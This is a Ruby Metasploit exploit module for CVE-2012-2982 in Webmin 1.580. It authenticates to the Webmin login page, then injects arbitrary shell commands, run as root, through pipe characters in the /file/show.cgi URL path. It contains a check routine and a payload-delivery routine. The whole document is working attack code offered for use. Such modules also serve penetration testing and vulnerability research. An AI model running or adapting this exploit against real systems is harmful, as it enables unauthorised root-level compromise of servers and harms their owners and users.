Webmin /file/show.cgi Remote Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Webmin /file/show.cgi Remote Command Execution',  
'Description' => %q{  
This module exploits an arbitrary command execution vulnerability in Webmin  
1.580. The vulnerability exists in the /file/show.cgi component and allows an  
authenticated user, with access to the File Manager Module, to execute arbitrary  
commands with root privileges. The module has been tested successfully with Webim  
1.580 over Ubuntu 10.04.  
},  
'Author' => [  
'Unknown', # From American Information Security Group  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['OSVDB', '85248'],  
['BID', '55446'],  
['CVE', '2012-2982'],  
['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-001.pdf'],  
['URL', 'https://github.com/webmin/webmin/commit/1f1411fe7404ec3ac03e803cfa7e01515e71a213']  
],  
'Privileged' => true,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 512,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl bash telnet',  
}  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' => [[ 'Webim 1.580', { }]],  
'DisclosureDate' => 'Sep 06 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(10000),  
OptBool.new('SSL', [true, 'Use SSL', true]),  
OptString.new('USERNAME', [true, 'Webmin Username']),  
OptString.new('PASSWORD', [true, 'Webmin Password'])  
], self.class)  
end  
  
def check  
  
peer = "#{rhost}:#{rport}"  
  
print_status("#{peer} - Attempting to login...")  
  
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => "/session_login.cgi",  
'cookie' => "testing=1",  
'data' => data  
}, 25)  
  
if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/  
print_good "#{peer} - Authentication successful"  
session = res.headers['Set-Cookie'].split("sid=")[1].split(";")[0]  
else  
print_error "#{peer} - Authentication failed"  
return Exploit::CheckCode::Unknown  
end  
  
print_status("#{peer} - Attempting to execute...")  
  
command = "echo #{rand_text_alphanumeric(rand(5) + 5)}"  
  
res = send_request_cgi(  
{  
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",  
'cookie' => "sid=#{session}"  
}, 25)  
  
  
if res and res.code == 200 and res.message =~ /Document follows/  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
  
end  
  
def exploit  
  
peer = "#{rhost}:#{rport}"  
  
print_status("#{peer} - Attempting to login...")  
  
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => "/session_login.cgi",  
'cookie' => "testing=1",  
'data' => data  
}, 25)  
  
if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/  
session = res.headers['Set-Cookie'].scan(/sid\=(\w+)\;*/).flatten[0] || ''  
if session and not session.empty?  
print_good "#{peer} - Authentication successfully"  
else  
print_error "#{peer} - Authentication failed"  
return  
end  
print_good "#{peer} - Authentication successfully"  
else  
print_error "#{peer} - Authentication failed"  
return  
end  
  
print_status("#{peer} - Attempting to execute the payload...")  
  
command = payload.encoded  
  
res = send_request_cgi(  
{  
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|",  
'cookie' => "sid=#{session}"  
}, 25)  
  
  
if res and res.code == 200 and res.message =~ /Document follows/  
print_good "#{peer} - Payload executed successfully"  
else  
print_error "#{peer} - Error executing the payload"  
return  
end  
  
end  
  
end  
`